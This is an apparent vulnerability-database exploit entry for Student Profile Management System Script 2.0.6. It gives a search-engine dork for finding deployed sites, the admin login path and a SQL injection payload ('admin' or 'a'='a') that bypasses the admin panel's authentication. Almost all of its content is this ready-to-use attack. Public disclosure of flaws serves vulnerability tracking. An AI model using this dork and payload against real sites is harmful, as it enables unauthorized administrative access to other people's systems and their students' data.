发布 2018-02-05 漏洞条目

Student Profile Management System Script 2.0.6 – Authentication Bypass

Exploit Source

# Exploit title: Student Profile Management System Script 2.0.6 - Admin

Panel Authentication Bypass

# Dork: "Powered by: i-Net Solution"

# Date: 2018-02-06

# Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com

# Vendor Homepage:

https://www.phpscriptsmall.com/product/studentstaff-profile-management-system/

# Version: 2.0.6

# Category: Webapps

# CVE: N/A

# # # # #

# Description:

# With this exploit,Attacker can bypass admin panel Authentication.

# # # # #

# Proof of Concept:

# username : anything

# password : admin' or 'a'='a

# admin panel login : /admin_login.php

相关漏洞条目